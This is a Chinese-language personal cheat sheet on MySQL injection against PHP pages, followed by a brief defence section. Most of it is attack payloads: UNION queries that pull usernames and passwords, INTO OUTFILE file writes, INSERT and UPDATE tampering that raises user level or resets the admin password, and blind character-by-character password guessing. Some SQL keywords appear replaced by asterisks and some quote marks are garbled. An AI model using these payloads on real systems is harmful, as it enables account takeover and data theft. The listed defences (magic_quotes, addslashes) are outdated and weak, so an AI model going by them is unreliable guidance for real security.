MYSQL注入技术的重点就是构造SQL语句，只有灵活的运用SQL语句才能构造出更让人惊艳的注入字符串。
学完之后写了点笔记，已备随时使用。希望你在看下面内容时先了解SQL的基本原理。

===基础部分===

本表查询：
*url=*http://localhost/injection/user.php?username=angel‘*/url* and LENGTH(password)=‘6
*url=*http://localhost/injection/user.php?username=angel‘*/url* and LEFT(password,1)=‘m

Union联合语句：
*url=*http://localhost/injection/show.php?id=1‘*/url* union * 1,username,password from user/*
*url=*http://localhost/injection/show.php?id=‘*/url* union * 1,username,password from user/*
导出文件：
*url=*http://localhost/injection/user.php?username=angel‘*/url* into outfile ‘c:/file.txt
*url=*http://localhost/injection/user.php?username=‘*/url* or 1=1 into outfile ‘c:/file.txt
*url=*http://localhost/injection/show.php?id=‘*/url* union * 1,username,password from user into outfile ‘c:/user.txt

*语句：
* INTO `user` (userid, username, password, homepage, userlevel) VALUES (‘‘, ‘$$username‘, ‘$$password‘, ‘$$homepage‘, ‘1‘);
构造homepage值为：*url=*http://4ngel.net‘*/url*, ‘3’)#
SQL语句变为：* INTO `user` (userid, username, password, homepage, userlevel) VALUES (‘‘, ‘angel‘, ‘mypass‘, ‘http://4ngel.net‘, ‘3’)#‘, ‘1‘);

*语句：
先理解这句SQL
* user SET password=‘MD5($$password)‘, homepage=‘$$homepage‘ Where id=‘$$id‘
如果此SQL被修改成以下形式，就实现了注入
1：修改homepage值为
*url=*http://4ngel.net‘*/url*, userlevel=‘3
之后SQL语句变为
* user SET password=‘mypass‘, homepage=‘http://4ngel.net‘, userlevel=‘3‘ Where id=‘$$id‘
userlevel为用户级别
2:修改password值为
mypass)‘ Where username=‘admin‘#
之后SQL语句变为
* user SET password=‘MD5(mypass)‘ Where username=‘admin‘#)‘, homepage=‘$$homepage‘ Where id=‘$$id‘
3：修改id值为
‘ or username=‘admin‘
之后SQL语句变为
* user SET password=‘MD5($$password)‘, homepage=‘$$homepage‘ Where id=‘‘ or username=‘admin‘
===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
* article SET title=DATABASE() Where id=1
http://localhost/injection/show.php?id=-1 union * 1,database(),version()
* * FROM user Where username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel，十进制
http://localhost/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://localhost/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://localhost/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://localhost/injection/show.php?id=-1 union * 1,1,1
http://localhost/injection/show.php?id=-1 union * char(97),char(97),char(97)
猜数据表名
http://localhost/injection/show.php?id=-1 union * 1,1,1 from members

跨表查询得到用户名和密码
http://localhost/ymdown/show.php?id=10000 union * 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
其他
#验证第一位密码
http://localhost/ymdown/show.php?id=10 union * 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
===注入防范===
服务器方面
magic_quotes_gpc设置为On
*_errors设置为Off
编码方面
$$keywords = addslashes($$keywords);
$$keywords = str_replace(“_“,“\_“,$$keywords);
$$keywords = str_replace(“%“,“\%“,$$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号

下面代码，用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$$str = mysql_real_escape_string($$str);
$$keywords = str_replace(“_“,“\_“,$$keywords);
$$keywords = str_replace(“%“,“\%“,$$keywords);
}

有用的函数

stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()